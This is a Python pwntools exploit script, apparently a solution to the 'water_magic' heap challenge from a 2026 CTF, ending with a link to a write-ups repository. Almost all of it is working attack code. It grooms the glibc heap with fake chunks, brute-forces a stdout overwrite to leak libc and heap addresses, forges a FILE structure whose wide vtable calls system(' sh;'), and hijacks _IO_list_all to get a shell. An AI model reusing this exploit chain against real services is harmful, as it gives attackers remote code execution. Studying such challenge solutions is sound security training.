ld_name = './ld-linux-x86-64.so.2'
libc_name = './libc.so.6'
args = [ld_name, "--library-path", ".", file_name]
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
use_ssl = '--ssl' in parts
p = remote(host, port, ssl=use_ssl, sni=host if use_ssl else None)
elif gdb_:
p = gdb.debug(args, gdbscript=gdb_cmd, aslr=True)
else:
p = process(args)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool): return p.recvline(keepends=bool)
def ra(t=None): return p.recvall(timeout=t)
def rn(numb): return p.recvn(numb)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def a(f, off=libc): return lg(hex(off), (ret := f.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address): return (address).to_bytes(3, 'big')
def bt(*values): return bytes([v & 0xff for v in values])
def base(val, binary=elf): return binary.address + val
def ntlbc(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed): return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed): return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]
_rop_cache = {}
def gg(s, f=None):
target = f or libc
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
gadget = rop.find_gadget(instrs)
if gadget:
addr = gadget.address
lg(s, addr)
return addr
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
def ga(delim=b'|', name='Leak', data=None):
target_data = p.recv(data) if isinstance(data, int) else (data if data else ru(delim))
if isinstance(target_data, str):
target_data = target_data.encode()
hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
def menu1(idx):
sla(b'Your choice >> ', cb(idx))
def add(size,content=b'\n',model=0,offset=0 ):
menu1(1)
sla(b"Input the size of your chunk:", cb(size))
sla(b"do you want to play a game ?(1/0)",cb(model))
if model == 1:
sla(b"you can set a offset!", cb(offset))
sa(b"Input:", content)
def delete(idx):
menu1(2)
sla(b"idx:", cb(idx))
def gift():
menu1(4)
def exit():
menu1(5)
def add2(size, content=b'\n'):
menu1(1)
sla(b"Input the size of your chunk:", cb(size))
sa(b"Input:", content)
def fake_chunk():
for i in range(0,7):
add(0x88)
for i in range(7,14):
add(0x1A8)
add(0x3D8) #14
add(0x3E8) #15
delete(14)
delete(15)
add(0x18,b'guard1\n') #16
for i in range(17,21):
add(0x88)
add(0x18,b'guard2\n') #21
for i in range(22,26):
add(0x88)
add(0x18,b'guard3\n') #26
for i in range(0,7):
delete(i)
delete(17)
delete(18)
delete(19)
delete(22)
delete(23)
delete(24)
add(0x1A8, b"2" * 0x118 + p64(0x31) + b"\n") # 27 控chunk24
add(0x1A8, b"1" * 0x118 + p64(0x21) + b"\n") # 28 控chunk19
delete(19)
delete(24)
delete(27)
delete(28)
add(0x1A8, b"a" * 0x88 + p64(0xE1) + b"\n") # 29 原28 控chunk18
add(0x1A8, b"b" * 0x88 + p64(0xF1) + b"\n") # 30 原27 控chunk23
for i in range(7,14):
delete(i)
delete(18)
delete(23)
delete(29) #chunk28
delete(20)
add(0x38)#31
add(0x48)#32
add(0x38)#33
add(0x58)#34
add(0x108)#35
delete(30) #chunk27
delete(25)
add(0x38)#36
add(0x48)#37
add(0x38)#38
add(0x58)#39
add(0x108)#40
add(0x108)#41
for i in range(42,49):
add(0x108)
for i in range(42,49):
delete(i)
for i in range(49,85):
add(0x5f8)
add(0x5F8, b"A" * 0xF0 + p64(0x10000) + p64(0x20) + b"\n") # 85
delete(35)
delete(41)
delete(40)
add(0xD8, p16(0x6080) + b"\n", 1, 0xA8) # 86 原chunk18 控chunk35的bk
add(0xE8, p16(0x6080) + b"\n", 1, 0xA0) # 87 原chunk23 控chunk40的fd
add(0x248, p16(0x6010) + b"\n", 1, 0x1E0) # 88 从我们伪造的0x10000的chunk切下
while True:
try:
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
p = remote(host, port)
else:
p = process([ld_name, "--library-path", ".", file_name])
#攻击部分:
gift()
ru(b"gift: ")
gift_leak = int(rl(True).strip())
stdout_low = gift_leak + (libc.sym["_IO_2_1_stdout_"] & 0xfff)
lg("stdout_low", stdout_low)
fake_chunk()
#检测部分:
response = p.recvuntil(b'3.show', timeout=1)
if b'free' in response:
print(f"\n[+] Success! Target resurrected.")
if gdb_:
gdb.attach(p)
pause()#补充部分:
break#---回到爆破成功后的地方
else:
p.close()
continue
except (EOFError, TimeoutError):#---程序崩了&程序卡死了
p.close()
continue
except Exception as e:#---其他异常
p.close()
continue
add2(0x3D8, p64(0x10001) + p64(0) * 0x10 + p16(stdout_low) + b"\n") # 89 原chunk14 ,修改了chunk88的bk
add2(0x28, p64(0xFBAD1800) + p64(0) * 3 + b"\x00\n") # 90
r(6)
libc_leak = uu64(r(6))
ntlbc(libc_leak, 0x204644)
delete(89)
add2(0x288, p64(0x100010001) + p64(0) * 0x11 + p64(libc.sym["_IO_2_1_stdout_"]) + b"\n") # 91
add2(
0x38,
p64(0xFBAD1800)
+ p64(0) * 3
+ p64(libc.address + 0x203b20)
+ p64(libc.address + 0x203b20 + 0x20)
+ p64(libc.address + 0x203b20 + 0x20)
) # 92
r(6)
heap_leak = uu64(r(6))
heap_base = heap_leak - 0x10580
lg("heap_base", heap_base)
io_list_all = libc.sym["_IO_list_all"]
system_addr = libc.sym["system"]
fake_file = heap_base + 0x2E0
fake_wide_data = fake_file + 0x100
fake_wide_vtable = fake_file + 0x220
payload = b""
fake_file_payload = b" sh;".ljust(0x8, b"\x00") # fake_file 开头,最后作为 system(fake_file) 的参数
fake_file_payload += p64(0) * 3 # _IO_read_ptr / _IO_read_end / _IO_read_base
fake_file_payload += p64(1) # _IO_write_base = 1
fake_file_payload += p64(2) # _IO_write_ptr = 2
fake_file_payload = fake_file_payload.ljust(0x30, b"\x00")# _IO_write_end = 0
fake_file_payload += p64(0)
fake_file_payload = fake_file_payload.ljust(0x88, b"\x00")
fake_file_payload += p64(libc.address + 0x205710) # _lock,要填一个合法地址通过检查
fake_file_payload = fake_file_payload.ljust(0xA0, b"\x00")
fake_file_payload += p64(fake_wide_data) # _wide_data = fake_wide_data
fake_file_payload = fake_file_payload.ljust(0xD8, b"\x00") # _mode 默认保持 0
fake_file_payload += p64(libc.sym["_IO_wfile_jumps"]) # vtable = _IO_wfile_jumps
fake_wide_data_payload = b""
fake_wide_data_payload = fake_wide_data_payload.ljust(0xE0, b"\x00") # fake_wide_data->_IO_buf_base = 0,进入 _IO_wdoallocbuf
fake_wide_data_payload += p64(fake_wide_vtable) # fake_wide_data->_wide_vtable = fake_wide_vtable
fake_wide_vtable_payload = b""
fake_wide_vtable_payload = fake_wide_vtable_payload.ljust(0x68, b"\x00") #常见偏移是0x68
fake_wide_vtable_payload += p64(system_addr) # fake_wide_vtable->__doallocate = system
payload = b""
payload += fake_file_payload
payload = payload.ljust(fake_wide_data - fake_file, b"\x00")
payload += fake_wide_data_payload
payload = payload.ljust(fake_wide_vtable - fake_file, b"\x00")
payload += fake_wide_vtable_payload
add2(0x600, payload + b"\n") # 93
delete(89)
add2(0x288, p64(0x100010001) + p64(0) * 0x11 + p64(io_list_all) + b"\n")
add2(0x38, p64(fake_file) + b"\n")
exit()
it()
题目链接:CTF-Writeups/方班杯2026/water_magic at main · Zenquiem/CTF-Writeups